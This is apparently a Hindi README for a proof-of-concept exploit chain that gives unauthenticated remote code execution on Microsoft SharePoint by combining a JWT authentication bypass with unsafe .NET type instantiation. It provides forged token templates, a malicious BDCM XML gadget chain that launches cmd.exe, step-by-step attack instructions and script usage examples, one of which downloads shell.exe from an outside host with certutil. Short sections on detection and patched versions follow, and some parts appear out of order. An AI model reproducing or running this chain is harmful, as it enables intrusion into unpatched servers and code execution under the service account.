
# Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला JWT प्रमाणीकरण बाईपास को असुरक्षित .NET टाइप इंस्टैंशिएशन के साथ जोड़कर, सेवा खाते के रूप में कोड निष्पादन प्राप्त करने के लिए Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला।
Microsoft SharePoint सर्वर पर बिना प्रमाणीकरण के RCE। किसी क्रेडेंशियल की आवश्यकता नहीं है।
Stephen Fewer (Rapid7) ने Pwn2Own Berlin 2026 में CVE-2026-55040 का प्रदर्शन किया। Rapid7 ने फिर अनुवर्ती शोध के दौरान CVE-2026-63520 की खोज की, और VulnCheck ने स्वतंत्र रूप से एक वैकल्पिक गैजेट श्रृंखला पाई। साथ में, ये दो बग आपको इंटरनेट पर किसी भी बिना पैच वाले SharePoint के खिलाफ बिना प्रमाणीकरण के रिमोट कोड निष्पादन देते हैं।
CISA ने PoC जारी होने के कुछ ही घंटों के भीतर अलर्ट जारी किए। इसका वास्तविक दुनिया में शोषण हो रहा है।
दो बग, एक श्रृंखला:
| CVE | प्रकार | CVSS | क्या टूटता है |
|---|---|---|---|
| CVE-2026-55040 | JWT प्रमाणीकरण बाईपास | 9.1 | SharePoint की S2S टोकन सत्यापन में चार स्वतंत्र कमजोरियाँ हैं। उन्हें जोड़कर आप किसी भी उपयोगकर्ता के लिए एक वैध JWT जाली बना सकते हैं - जिसमें साइट व्यवस्थापक भी शामिल हैं - उनका पासवर्ड जाने बिना। |
| CVE-2026-63520 | असुरक्षित .NET प्रकार इंस्टेंटिएशन → RCE | 8.1 | Business Data Connectivity (BDC) अपलोड किए गए XML से किसी भी .NET प्रकार के नाम को बिना किसी अनुमति सूची के हल करता है। इसे ObjectDataProvider पर इंगित करें और आपको Process.Start() मिलता है। |
अकेले कोई भी बग दिलचस्प नहीं है। CVE-2026-63520 को प्रमाणीकरण की आवश्यकता है। CVE-2026-55040 आपको प्रमाणीकरण देता है। साथ में: SharePoint सेवा खाते के रूप में बिना प्रमाणीकरण के RCE।
SharePoint सर्वर-से-सर्वर (S2S) प्रमाणीकरण के लिए नेस्टेड JWT का उपयोग करता है। एक बाहरी टोकन उपयोगकर्ता की पहचान रखता है, एक आंतरिक "एक्टर टोकन" कॉलिंग एप्लिकेशन का प्रतिनिधित्व करता है। SPJsonWebSecurityTokenHandlerV2.ValidateToken() में चार कमजोरियाँ पूरी चीज़ को ध्वस्त कर देती हैं:
कमजोरी 1 - हस्ताक्षर सत्यापन बंद है। वैलिडेटर RequireSignedTokens = false सेट करता है। बाहरी टोकन alg: none स्वीकार करता है। कोई हस्ताक्षर आवश्यक नहीं है।
कमजोरी 2 - सत्यापन के बिना x5t समाधान। एक्टर टोकन की हस्ताक्षर कुंजी को प्रमाणपत्र स्टोर में x5t (प्रमाणपत्र थंबप्रिंट) हेडर देखकर हल किया जाता है। SharePoint कभी जाँच नहीं करता कि एक्टर टोकन का हस्ताक्षर वास्तव में उस कुंजी से मेल खाता है या नहीं।
कमजोरी 3 - जारीकर्ता सत्यापन अज्ञात प्रमाणपत्र स्वीकार करता है। ValidateIssuer() पास हो जाता है यदि हस्ताक्षर प्रमाणपत्र TrustedSecurityTokenServices संग्रह में नहीं है। SharePoint का अपना STS प्रमाणपत्र वहाँ पंजीकृत नहीं है। इसलिए इसे x5t के माध्यम से संदर्भित करना बिना शर्त जारीकर्ता सत्यापन पास करता है।
कमजोरी 4 - गैर-क्रिप्टोग्राफिक हस्ताक्षर जाँच। GetTokenSignature() के लिए एक गैर-खाली स्ट्रिंग की आवश्यकता होती है लेकिन शून्य क्रिप्टोग्राफिक सत्यापन करता है। कोई भी मान काम करता है। AAAA काम करता है।
STS प्रमाणपत्र सार्वजनिक है। आप इसे /_layouts/15/metadata/json/1 से प्राप्त करते हैं - एक बिना प्रमाणीकरण वाला एंडपॉइंट - SHA-1 थंबप्रिंट की गणना करें, और आपके पास वह सब कुछ है जो आपको चाहिए।
बाहरी टोकन (उपयोगकर्ता की पहचान रखता है):
// हेडर
{"alg": "none", "typ": "JWT"}
// पेलोड
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<लक्ष्य SID या UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<आंतरिक JWT>"
}
// हस्ताक्षर: खाली (alg:none)
आंतरिक एक्टर टोकन ("एप्लिकेशन" का प्रतिनिधित्व करता है):
// हेडर
{"alg": "RS256", "typ": "JWT", "x5t": "<STS प्रमाणपत्र थंबप्रिंट>"}
// पेलोड
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// हस्ताक्षर: "AAAA" (शाब्दिक रूप से कुछ भी गैर-खाली)
पहचान चुनने के तीन तरीके:
SharePoint की Business Data Connectivity सेवा व्यवस्थापकों को BDC मॉडल XML फ़ाइलों (.bdcm) के माध्यम से बाहरी डेटा स्रोत परिभाषित करने देती है। ये मॉडल .NET प्रकार निर्दिष्ट करते हैं जिन्हें BDC रनटाइम पर इंस्टेंटिएट करता है।
समस्या DbTypeReflector.ResolveDotNetType() में है:
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // GAC में कोई भी प्रकार
15 वर्णों से कम के प्रकार के नाम एक सुरक्षित रिज़ॉल्वर से गुजरते हैं। इससे लंबा कुछ भी सीधे Type.GetType() को कॉल करता है - जो ग्लोबल असेंबली कैश से किसी भी असेंबली-योग्य प्रकार के नाम को हल करता है। कोई अनुमति सूची नहीं। कोई ब्लॉकलिस्ट नहीं। हमलावर BDCM XML के माध्यम से abstractTypeName को नियंत्रित करता है।
हम PresentationFramework से System.Windows.Data.ObjectDataProvider का उपयोग करते हैं। जब आप इसकी ObjectInstance संपत्ति सेट करते हैं, यह उस इंस्टेंस पर MethodName को लागू करता है। MethodName = "Start" और ObjectInstance = System.Diagnostics.Process को एक क्राफ्टेड StartInfo के साथ सेट करें, और BDC की संपत्ति-सेटर रिफ्लेक्शन बाकी करती है:
ObjectDataProvider बनाया गया
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <पेलोड>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ संपत्ति सेटर QueryWorker() ट्रिगर करता है
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
BDCM XML जो इसे ले जाता है:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck ने DotNetAssembly LobSystem के माध्यम से TypeConfuseDelegate डिसीरियलाइज़ेशन के साथ System.Web.UI.LosFormatter का उपयोग करके एक वैकल्पिक श्रृंखला का दस्तावेजीकरण किया। कई गैजेट काम करते हैं - अंतर्निहित प्रिमिटिव अप्रतिबंधित प्रकार इंस्टेंटिएशन है।
हमलावर SharePoint सर्वर
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS प्रमाणपत्र (x5t + realm) ────────│ (बिना प्रमाणीकरण)
│ │
│── DC को SMB नल सत्र ────────────────────▶ डोमेन नियंत्रक
│◀── डोमेन SID ──────────────────────────│
│ │
│── JWT जाली बनाएं (alg:none + AAAA sig) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: व्यवस्थापक के रूप में प्रमाणित
│ │
│── POST /_api/web/lists ────────────▶│ BDC कैटलॉग बनाएं
│── POST .../Files/add(evil.bdcm) ──▶│ गैजेट श्रृंखला अपलोड करें
│── POST /_vti_bin/client.svc/ ──────▶│ ProcessQuery ट्रिगर करें
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <पेलोड>
│ │ → SP सेवा खाते के रूप में चलता है
छह चरण:
STS प्रमाणपत्र प्राप्त करें। /_layouts/15/metadata/json/1 पर हिट करें। कोई प्रमाणीकरण आवश्यक नहीं। keys[0].keyValue.value से X.509 प्रमाणपत्र निकालें, SHA-1 हैश करें, base64url-एनकोड करें। यही आपका x5t है। issuer फ़ील्ड आपको realm देता है।
एक साइट व्यवस्थापक खोजें। डोमेन नियंत्रक के लिए SMB नल सत्र, डोमेन SID प्राप्त करने के लिए LSARPC LsarQueryInformationPolicy, फिर RIDs (500, 1000-10000) पर पुनरावृत्ति करें और प्रत्येक के लिए JWT जाली बनाएं जब तक /_api/web/currentuser IsSiteAdmin: true नहीं लौटाता। या बस एक ज्ञात UPN प्रदान करें।
JWT जाली बनाएं। बाहरी: alg:none, nameid = व्यवस्थापक SID, actortoken = आंतरिक JWT। आंतरिक: alg:RS256, x5t = STS थंबप्रिंट, हस्ताक्षर = AAAA। Base64url-एनकोड करें, बिंदुओं के साथ जोड़ें। हो गया।
अगस्त 2026 संचयी अद्यतन BDC द्वारा इंस्टेंटिएट किए जा सकने वाले .NET प्रकारों को प्रतिबंधित करने के लिए ValidateSafeBcsType() जोड़ता है। JWT फिक्स उचित हस्ताक्षर सत्यापन जोड़ता है और STS प्रमाणपत्र को विश्वसनीय टोकन सेवाओं संग्रह में पंजीकृत करता है।
SharePoint 2016 मुख्यधारा समर्थन 2026 में समाप्त हुआ। विस्तारित समर्थन के बिना संगठनों को फिक्स नहीं मिल सकता है।
निर्भरताएँ स्थापित करें:
pip install requests
pip install impacket # केवल --domain-ip स्वचालित-SID खोज के लिए आवश्यक
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
स्क्रिप्ट यह करेगी:
x5t और realm खींचेंpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
आप Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN] देखना चाहते हैं। यह पुष्टि करता है कि JWT बाईपास काम करता है और आपके पास व्यवस्थापक-स्तर की पहुँच है।
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
देखने योग्य चीज़ें:
alg: none वाले JWTs। वैध S2S टोकन हमेशा RS256 का उपयोग करते हैं।/_layouts/15/metadata/json/1 के अनुरोध। मेटाडेटा एंडपॉइंट सार्वजनिक है, लेकिन टोही के बाद व्यवस्थापक-स्तर की पहुँच संदिग्ध है।BusinessDataMetadataCatalog में दिखाई देने वाली नई .bdcm फ़ाइलें। अधिकांश SharePoint तैनातियाँ BDC का उपयोग बिल्कुल नहीं करती हैं। कोई भी BDCM अपलोड जाँच के योग्य है।ProcessQuery अनुरोध, विशेष रूप से इकाई प्रकार के नामों में ObjectDataProvider या LosFormatter के साथ।w3wp.exe (SharePoint एप्लिकेशन पूल) से प्रक्रिया स्पॉनिंग। वर्कर प्रक्रिया के चाइल्ड के रूप में cmd.exe, powershell.exe, certutil.exe क्लासिक संकेतक हैं।केवल अधिकृत सुरक्षा परीक्षण के लिए। किसी भी चीज़ के खिलाफ इसे चलाने से पहले लिखित अनुमति प्राप्त करें जो आपकी नहीं है।
| मोड | nameid | nii | आपको क्या चाहिए |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | डोमेन SID (SMB नल सत्र के माध्यम से) + RID ब्रूट |
| UPN | upn_bypass + upn दावा | urn:office:idp:activedirectory | एक वैध UPN (जैसे [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | कुछ नहीं। सीमित पहुँच लेकिन कुछ श्रृंखलाओं के लिए पर्याप्त। |
फॉर्म डाइजेस्ट प्राप्त करें। जाली Bearer टोकन के साथ POST /_api/contextinfo। SharePoint आपको लेखन संचालन के लिए एक FormDigestValue देता है।
BDCM अपलोड करें। एक BusinessDataMetadataCatalog लाइब्रेरी बनाएं, ObjectDataProvider गैजेट श्रृंखला वाली दुर्भावनापूर्ण .bdcm XML अपलोड करें।
ट्रिगर खींचें। BDC इकाई को हल करने वाले अनुरोध के साथ POST /_vti_bin/client.svc/ProcessQuery। SharePoint BDCM से प्रकारों को इंस्टेंटिएट करता है, रिफ्लेक्शन के माध्यम से संपत्तियाँ सेट करता है, और ObjectDataProvider Process.Start() को फायर करता है। कोड SharePoint सेवा खाते के रूप में चलता है।
| उत्पाद | नीचे कमजोर | पैच | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | अगस्त 2026 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | अगस्त 2026 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | अगस्त 2026 SU | - |